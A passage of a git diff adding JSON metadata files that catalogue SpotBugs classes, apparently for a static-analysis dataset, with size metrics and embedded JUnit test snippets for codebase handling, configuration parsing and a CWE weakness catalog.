assertHasNoCodeBase(ClassFactory.createFilesystemCodeBase(locator));\n }" + }, + { + "description": "ignoreUnknownNonClassFileFormat", + "expected-problems": null, + "expected-linenumbers": [ + 72, + 76 + ], + "code": "@Test\n void ignoreUnknownNonClassFileFormat() throws Exception {\n FilesystemCodeBaseLocator locator = buildLocator(tempFile());\n assertHasNoCodeBase(ClassFactory.createFilesystemCodeBase(locator));\n }" + }, + { + "description": "acceptZipFile", + "expected-problems": null, + "expected-linenumbers": [ + 78, + 84 + ], + "code": "@Test\n void acceptZipFile() throws Exception {\n File zipFile = createZipFile();\n zipFile.deleteOnExit();\n FilesystemCodeBaseLocator locator = buildLocator(zipFile);\n assertHasCodeBase(ClassFactory.createFilesystemCodeBase(locator));\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/ClassPathBuilder.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/ClassPathBuilder.json new file mode 100644 index 0000000..cc7a3ef --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/ClassPathBuilder.json @@ -0,0 +1,32 @@ +{ + "name": "ClassPathBuilder", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 836, + "branches": 101, + "apis": 160, + "test": [ + { + "description": "nestedTraversalDisabled", + "expected-problems": null, + "expected-linenumbers": [ + 18, + 26 + ], + "code": "@Test\n void nestedTraversalDisabled(SpotBugsRunner spotbugs) {\n BugCollection results = spotbugs.performAnalysis(engine -> {\n engine.setScanNestedArchives(false);\n engine.setNoClassOk(true);\n }, Paths.get(\"../spotbugsTestCases/archives/nestedArchive.jar\"));\n AppVersion appInformation = results.getCurrentAppVersion();\n assertThat(appInformation.getNumClasses(), equalTo(0));\n }" + }, + { + "description": "nestedTraversalEnabled", + "expected-problems": null, + "expected-linenumbers": [ + 28, + 34 + ], + "code": "@Test\n void nestedTraversalEnabled(SpotBugsRunner spotbugs) {\n BugCollection results = spotbugs.performAnalysis(engine -> engine.setScanNestedArchives(true),\n Paths.get(\"../spotbugsTestCases/archives/nestedArchive.jar\"));\n AppVersion appInformation = results.getCurrentAppVersion();\n assertThat(appInformation.getNumClasses(), equalTo(5));\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/ClassPathImpl.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/ClassPathImpl.json new file mode 100644 index 0000000..d2e7fa5 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/ClassPathImpl.json @@ -0,0 +1,13 @@ +{ + "name": "ClassPathImpl", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 204, + "branches": 19, + "apis": 34, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/DelegatingCodeBaseEntry.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/DelegatingCodeBaseEntry.json new file mode 100644 index 0000000..c58ff2f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/DelegatingCodeBaseEntry.json @@ -0,0 +1,13 @@ +{ + "name": "DelegatingCodeBaseEntry", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 144, + "branches": 4, + "apis": 20, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/DelegatingCodeBaseIterator.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/DelegatingCodeBaseIterator.json new file mode 100644 index 0000000..b0a1f83 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/DelegatingCodeBaseIterator.json @@ -0,0 +1,13 @@ +{ + "name": "DelegatingCodeBaseIterator", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 66, + "branches": 2, + "apis": 6, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/DirectoryCodeBase.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/DirectoryCodeBase.json new file mode 100644 index 0000000..dc55e1a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/DirectoryCodeBase.json @@ -0,0 +1,13 @@ +{ + "name": "DirectoryCodeBase", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 215, + "branches": 11, + "apis": 29, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/DirectoryCodeBaseEntry.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/DirectoryCodeBaseEntry.json new file mode 100644 index 0000000..4c5b132 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/DirectoryCodeBaseEntry.json @@ -0,0 +1,13 @@ +{ + "name": "DirectoryCodeBaseEntry", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 138, + "branches": 6, + "apis": 14, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/EmptyCodeBase.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/EmptyCodeBase.json new file mode 100644 index 0000000..1bc37af --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/EmptyCodeBase.json @@ -0,0 +1,13 @@ +{ + "name": "EmptyCodeBase", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 61, + "branches": 2, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/FilesystemCodeBaseLocator.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/FilesystemCodeBaseLocator.json new file mode 100644 index 0000000..1a29ce1 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/FilesystemCodeBaseLocator.json @@ -0,0 +1,13 @@ +{ + "name": "FilesystemCodeBaseLocator", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 113, + "branches": 6, + "apis": 14, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/JrtfsCodeBase.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/JrtfsCodeBase.json new file mode 100644 index 0000000..97e701c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/JrtfsCodeBase.json @@ -0,0 +1,13 @@ +{ + "name": "JrtfsCodeBase", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 336, + "branches": 28, + "apis": 60, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/NestedZipFileCodeBase.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/NestedZipFileCodeBase.json new file mode 100644 index 0000000..d048856 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/NestedZipFileCodeBase.json @@ -0,0 +1,13 @@ +{ + "name": "NestedZipFileCodeBase", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 144, + "branches": 10, + "apis": 20, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/NestedZipFileCodeBaseLocator.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/NestedZipFileCodeBaseLocator.json new file mode 100644 index 0000000..4f68556 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/NestedZipFileCodeBaseLocator.json @@ -0,0 +1,13 @@ +{ + "name": "NestedZipFileCodeBaseLocator", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 114, + "branches": 4, + "apis": 11, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/SingleFileCodeBase.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/SingleFileCodeBase.json new file mode 100644 index 0000000..2449e3e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/SingleFileCodeBase.json @@ -0,0 +1,13 @@ +{ + "name": "SingleFileCodeBase", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 299, + "branches": 15, + "apis": 28, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/SingleFileCodeBaseEntry.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/SingleFileCodeBaseEntry.json new file mode 100644 index 0000000..94fe2c7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/SingleFileCodeBaseEntry.json @@ -0,0 +1,13 @@ +{ + "name": "SingleFileCodeBaseEntry", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 130, + "branches": 3, + "apis": 17, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/ZipCodeBaseFactory.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/ZipCodeBaseFactory.json new file mode 100644 index 0000000..0d27101 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/ZipCodeBaseFactory.json @@ -0,0 +1,13 @@ +{ + "name": "ZipCodeBaseFactory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 50, + "branches": 3, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/ZipFileCodeBase.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/ZipFileCodeBase.json new file mode 100644 index 0000000..1f76659 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/ZipFileCodeBase.json @@ -0,0 +1,13 @@ +{ + "name": "ZipFileCodeBase", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 176, + "branches": 23, + "apis": 27, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/ZipFileCodeBaseEntry.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/ZipFileCodeBaseEntry.json new file mode 100644 index 0000000..4af6caa --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/ZipFileCodeBaseEntry.json @@ -0,0 +1,13 @@ +{ + "name": "ZipFileCodeBaseEntry", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 130, + "branches": 4, + "apis": 14, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/ZipInputStreamCodeBase.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/ZipInputStreamCodeBase.json new file mode 100644 index 0000000..976dc0f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/ZipInputStreamCodeBase.json @@ -0,0 +1,13 @@ +{ + "name": "ZipInputStreamCodeBase", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 249, + "branches": 24, + "apis": 39, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/ZipInputStreamCodeBaseEntry.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/ZipInputStreamCodeBaseEntry.json new file mode 100644 index 0000000..6c8d4d6 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/ZipInputStreamCodeBaseEntry.json @@ -0,0 +1,13 @@ +{ + "name": "ZipInputStreamCodeBaseEntry", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 138, + "branches": 4, + "apis": 13, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/package-info.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/package-info.json new file mode 100644 index 0000000..1ca9258 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/impl/package-info.json @@ -0,0 +1,13 @@ +{ + "name": "package-info", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 8, + "branches": 0, + "apis": 0, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/package-info.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/package-info.json new file mode 100644 index 0000000..b69022d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/package-info.json @@ -0,0 +1,13 @@ +{ + "name": "package-info", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 13, + "branches": 1, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/config/AnalysisFeatureSetting.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/config/AnalysisFeatureSetting.json new file mode 100644 index 0000000..d619570 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/config/AnalysisFeatureSetting.json @@ -0,0 +1,13 @@ +{ + "name": "AnalysisFeatureSetting", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 58, + "branches": 3, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/config/CommandLine.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/config/CommandLine.json new file mode 100644 index 0000000..74a7010 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/config/CommandLine.json @@ -0,0 +1,50 @@ +{ + "name": "CommandLine", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 452, + "branches": 46, + "apis": 94, + "test": [ + { + "description": "parseOpt", + "expected-problems": null, + "expected-linenumbers": [ + 23, + 29 + ], + "code": "@Test\n void parseOpt() throws CommandLine.HelpRequestedException, IOException {\n commandLine.parse(new String[] { \"-xml\" });\n\n assertThat(commandLine.options.get(0), is(\"-xml\"));\n assertThat(commandLine.extraParts.get(0), is(\"\"));\n }" + }, + { + "description": "parseOptWithExtraPart", + "expected-problems": null, + "expected-linenumbers": [ + 31, + 37 + ], + "code": "@Test\n void parseOptWithExtraPart() throws CommandLine.HelpRequestedException, IOException {\n commandLine.parse(new String[] { \"-xml:withMessages\" });\n\n assertThat(commandLine.options.get(0), is(\"-xml\"));\n assertThat(commandLine.extraParts.get(0), is(\"withMessages\"));\n }" + }, + { + "description": "parseOptWithFilePath", + "expected-problems": null, + "expected-linenumbers": [ + 39, + 45 + ], + "code": "@Test\n void parseOptWithFilePath() throws CommandLine.HelpRequestedException, IOException {\n commandLine.parse(new String[] { \"-xml=spotbugs.xml\" });\n\n assertThat(commandLine.options.get(0), is(\"-xml\"));\n assertThat(commandLine.extraParts.get(0), is(\"=spotbugs.xml\"));\n }" + }, + { + "description": "parseOptWithExtraPartAndFilePath", + "expected-problems": null, + "expected-linenumbers": [ + 47, + 53 + ], + "code": "@Test\n void parseOptWithExtraPartAndFilePath() throws CommandLine.HelpRequestedException, IOException {\n commandLine.parse(new String[] { \"-xml:withMessages=spotbugs.xml\" });\n\n assertThat(commandLine.options.get(0), is(\"-xml\"));\n assertThat(commandLine.extraParts.get(0), is(\"withMessages=spotbugs.xml\"));\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/config/ProjectFilterSettings.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/config/ProjectFilterSettings.json new file mode 100644 index 0000000..d99c5c4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/config/ProjectFilterSettings.json @@ -0,0 +1,86 @@ +{ + "name": "ProjectFilterSettings", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 545, + "branches": 54, + "apis": 85, + "test": [ + { + "description": "testPlainPrio", + "expected-problems": null, + "expected-linenumbers": [ + 65, + 68 + ], + "code": "@Test\n void testPlainPrio() {\n Assertions.assertTrue(plain.getMinPriority().equals(ProjectFilterSettings.DEFAULT_PRIORITY));\n }" + }, + { + "description": "testPlainCategories", + "expected-problems": null, + "expected-linenumbers": [ + 70, + 80 + ], + "code": "@Test\n void testPlainCategories() {\n int count = 0;\n for (String category : DetectorFactoryCollection.instance().getBugCategories()) {\n if (!category.equals(\"NOISE\")) {\n Assertions.assertTrue(plain.containsCategory(category));\n ++count;\n }\n }\n Assertions.assertEquals(count, plain.getActiveCategorySet().size());\n }" + }, + { + "description": "testAddCategory", + "expected-problems": null, + "expected-linenumbers": [ + 82, + 92 + ], + "code": "@Test\n void testAddCategory() {\n Assertions.assertTrue(plain.containsCategory(\"FAKE_CATEGORY\")); // unknown\n // categories\n // should be\n // unhidden\n // by\n // default\n plain.addCategory(\"FAKE_CATEGORY\");\n Assertions.assertTrue(plain.containsCategory(\"FAKE_CATEGORY\"));\n }" + }, + { + "description": "testRemoveCategory", + "expected-problems": null, + "expected-linenumbers": [ + 94, + 99 + ], + "code": "@Test\n void testRemoveCategory() {\n Assertions.assertTrue(plain.containsCategory(\"MALICIOUS_CODE\"));\n plain.removeCategory(\"MALICIOUS_CODE\");\n Assertions.assertFalse(plain.containsCategory(\"MALICIOUS_CODE\"));\n }" + }, + { + "description": "testSetMinPriority", + "expected-problems": null, + "expected-linenumbers": [ + 101, + 112 + ], + "code": "@Test\n void testSetMinPriority() {\n plain.setMinPriority(\"High\");\n Assertions.assertTrue(plain.getMinPriority().equals(\"High\"));\n Assertions.assertTrue(plain.getMinPriorityAsInt() == Priorities.HIGH_PRIORITY);\n plain.setMinPriority(\"Medium\");\n Assertions.assertTrue(plain.getMinPriority().equals(\"Medium\"));\n Assertions.assertTrue(plain.getMinPriorityAsInt() == Priorities.NORMAL_PRIORITY);\n plain.setMinPriority(\"Low\");\n Assertions.assertTrue(plain.getMinPriority().equals(\"Low\"));\n Assertions.assertTrue(plain.getMinPriorityAsInt() == Priorities.LOW_PRIORITY);\n }" + }, + { + "description": "testEquals", + "expected-problems": null, + "expected-linenumbers": [ + 114, + 132 + ], + "code": "@Test\n void testEquals() {\n Assertions.assertEquals(plain, otherPlain);\n\n Assertions.assertFalse(plain.equals(changed));\n Assertions.assertFalse(changed.equals(plain));\n\n Assertions.assertFalse(plain.equals(changed2));\n Assertions.assertFalse(changed2.equals(plain));\n\n // The activeBugCategorySet doesn't matter for equals(), only\n // the hiddenBugCategorySet does (along with minPriority and\n // displayFalseWarnings) so 'plain' and 'changed3' should test equal.\n Assertions.assertTrue(plain.equals(changed3));\n Assertions.assertTrue(changed3.equals(plain));\n\n Assertions.assertFalse(plain.equals(changed4));\n Assertions.assertFalse(changed4.equals(plain));\n }" + }, + { + "description": "testEncodeDecode", + "expected-problems": null, + "expected-linenumbers": [ + 134, + 143 + ], + "code": "@Test\n void testEncodeDecode() {\n ProjectFilterSettings copyOfPlain = ProjectFilterSettings.fromEncodedString(plain.toEncodedString());\n ProjectFilterSettings.hiddenFromEncodedString(copyOfPlain, plain.hiddenToEncodedString());\n Assertions.assertEquals(plain, copyOfPlain);\n\n ProjectFilterSettings copyOfChanged4 = ProjectFilterSettings.fromEncodedString(changed4.toEncodedString());\n ProjectFilterSettings.hiddenFromEncodedString(copyOfChanged4, changed4.hiddenToEncodedString());\n Assertions.assertEquals(changed4, copyOfChanged4);\n }" + }, + { + "description": "testDisplayFalseWarnings", + "expected-problems": null, + "expected-linenumbers": [ + 145, + 159 + ], + "code": "@Test\n void testDisplayFalseWarnings() {\n Assertions.assertEquals(plain, otherPlain);\n\n Assertions.assertFalse(plain.displayFalseWarnings());\n plain.setDisplayFalseWarnings(true);\n\n Assertions.assertFalse(plain.equals(otherPlain));\n\n ProjectFilterSettings copyOfPlain = ProjectFilterSettings.fromEncodedString(plain.toEncodedString());\n\n Assertions.assertTrue(copyOfPlain.displayFalseWarnings());\n Assertions.assertEquals(copyOfPlain, plain);\n Assertions.assertEquals(plain, copyOfPlain);\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/config/SortedProperties.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/config/SortedProperties.json new file mode 100644 index 0000000..08d9b9d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/config/SortedProperties.json @@ -0,0 +1,13 @@ +{ + "name": "SortedProperties", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 43, + "branches": 1, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/config/UserPreferences.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/config/UserPreferences.json new file mode 100644 index 0000000..b6bd6f4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/config/UserPreferences.json @@ -0,0 +1,59 @@ +{ + "name": "UserPreferences", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 777, + "branches": 76, + "apis": 128, + "test": [ + { + "description": "testClone", + "expected-problems": null, + "expected-linenumbers": [ + 12, + 20 + ], + "code": "@Test\n void testClone() {\n UserPreferences sut = UserPreferences.createDefaultUserPreferences();\n\n UserPreferences clone = sut.clone();\n\n Assertions.assertEquals(sut, clone);\n Assertions.assertEquals(sut.getClass(), clone.getClass());\n }" + }, + { + "description": "testReadEffortNoPrefix", + "expected-problems": null, + "expected-linenumbers": [ + 22, + 30 + ], + "code": "@Test\n void testReadEffortNoPrefix() throws IOException {\n String testPrefsString = \"effort=max\";\n\n UserPreferences userPrefs = UserPreferences.createDefaultUserPreferences();\n\n userPrefs.read(new ByteArrayInputStream(testPrefsString.getBytes(StandardCharsets.ISO_8859_1)));\n Assertions.assertEquals(UserPreferences.EFFORT_MAX, userPrefs.getEffort());\n }" + }, + { + "description": "testReadEffortSpotBugsPrefix", + "expected-problems": null, + "expected-linenumbers": [ + 32, + 40 + ], + "code": "@Test\n void testReadEffortSpotBugsPrefix() throws IOException {\n String testPrefsString = \"/instance/com.github.spotbugs.plugin.eclipse/effort=max\";\n\n UserPreferences userPrefs = UserPreferences.createDefaultUserPreferences();\n\n userPrefs.read(new ByteArrayInputStream(testPrefsString.getBytes(StandardCharsets.ISO_8859_1)));\n Assertions.assertEquals(UserPreferences.EFFORT_MAX, userPrefs.getEffort());\n }" + }, + { + "description": "testReadEffortFindBugsPrefix", + "expected-problems": null, + "expected-linenumbers": [ + 42, + 50 + ], + "code": "@Test\n void testReadEffortFindBugsPrefix() throws IOException {\n String testPrefsString = \"/instance/edu.umd.cs.findbugs.plugin.eclipse/effort=max\";\n\n UserPreferences userPrefs = UserPreferences.createDefaultUserPreferences();\n\n userPrefs.read(new ByteArrayInputStream(testPrefsString.getBytes(StandardCharsets.ISO_8859_1)));\n Assertions.assertEquals(UserPreferences.EFFORT_MAX, userPrefs.getEffort());\n }" + }, + { + "description": "testReadEffortUnknownPrefix", + "expected-problems": null, + "expected-linenumbers": [ + 52, + 60 + ], + "code": "@Test\n void testReadEffortUnknownPrefix() throws IOException {\n String testPrefsString = \"/instance/test.test.test.test.plugin.eclipse/effort=max\";\n\n UserPreferences userPrefs = UserPreferences.createDefaultUserPreferences();\n\n userPrefs.read(new ByteArrayInputStream(testPrefsString.getBytes(StandardCharsets.ISO_8859_1)));\n Assertions.assertEquals(UserPreferences.EFFORT_DEFAULT, userPrefs.getEffort());\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/cwe/Weakness.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/cwe/Weakness.json new file mode 100644 index 0000000..bf22cb8 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/cwe/Weakness.json @@ -0,0 +1,13 @@ +{ + "name": "Weakness", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 69, + "branches": 0, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/cwe/WeaknessCatalog.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/cwe/WeaknessCatalog.json new file mode 100644 index 0000000..bc0c4fd --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/cwe/WeaknessCatalog.json @@ -0,0 +1,68 @@ +{ + "name": "WeaknessCatalog", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 129, + "branches": 6, + "apis": 19, + "test": [ + { + "description": "testGetInstanceConstruction", + "expected-problems": null, + "expected-linenumbers": [ + 13, + 16 + ], + "code": "@Test\n void testGetInstanceConstruction() {\n assertNotNull(WeaknessCatalog.getInstance());\n }" + }, + { + "description": "testGetInstanceCalledTwiceSameInstance", + "expected-problems": null, + "expected-linenumbers": [ + 18, + 24 + ], + "code": "@Test\n void testGetInstanceCalledTwiceSameInstance() {\n WeaknessCatalog instance1 = WeaknessCatalog.getInstance();\n WeaknessCatalog instance2 = WeaknessCatalog.getInstance();\n\n assertTrue(instance1 == instance2);\n }" + }, + { + "description": "testGetWeaknessByCweIdOrNullExistingWeakness", + "expected-problems": null, + "expected-linenumbers": [ + 26, + 39 + ], + "code": "@Test\n void testGetWeaknessByCweIdOrNullExistingWeakness() {\n int cweid = 78;\n String name = \"Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')\";\n String description = \"The product constructs all or part of an OS command using externally-influenced input from an upstream component, but\";\n\n WeaknessCatalog weaknessCatalog = WeaknessCatalog.getInstance();\n Weakness weakness = weaknessCatalog.getWeaknessByCweIdOrNull(cweid);\n\n assertEquals(cweid, weakness.getCweId());\n assertEquals(name, weakness.getName());\n assertThat(weakness.getDescription(), startsWith(description));\n assertEquals(WeaknessSeverity.HIGH, weakness.getSeverity());\n }" + }, + { + "description": "testGetWeaknessByCweIdOrNullNonExistingWeakness", + "expected-problems": null, + "expected-linenumbers": [ + 41, + 49 + ], + "code": "@Test\n void testGetWeaknessByCweIdOrNullNonExistingWeakness() {\n int cweid = Integer.MAX_VALUE;\n\n WeaknessCatalog weaknessCatalog = WeaknessCatalog.getInstance();\n Weakness weakness = weaknessCatalog.getWeaknessByCweIdOrNull(cweid);\n\n assertNull(weakness);\n }" + }, + { + "description": "testGetWeaknessByCweIdOrNullNonInvalidCweId", + "expected-problems": null, + "expected-linenumbers": [ + 51, + 59 + ], + "code": "@Test\n void testGetWeaknessByCweIdOrNullNonInvalidCweId() {\n int cweid = Integer.MIN_VALUE;\n\n WeaknessCatalog weaknessCatalog = WeaknessCatalog.getInstance();\n Weakness weakness = weaknessCatalog.getWeaknessByCweIdOrNull(cweid);\n\n assertNull(weakness);\n }" + }, + { + "description": "testGetWeaknessByCweIdOrNullCweIdIsZero", + "expected-problems": null, + "expected-linenumbers": [ + 61, + 69 + ], + "code": "@Test\n void testGetWeaknessByCweIdOrNullCweIdIsZero() {\n int cweid = 0;\n\n WeaknessCatalog weaknessCatalog = WeaknessCatalog.getInstance();\n Weakness weakness = weaknessCatalog.getWeaknessByCweIdOrNull(cweid);\n\n assertNull(weakness);\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/cwe/WeaknessSeverity.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/cwe/WeaknessSeverity.json new file mode 100644 index 0000000..21e6b48 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule 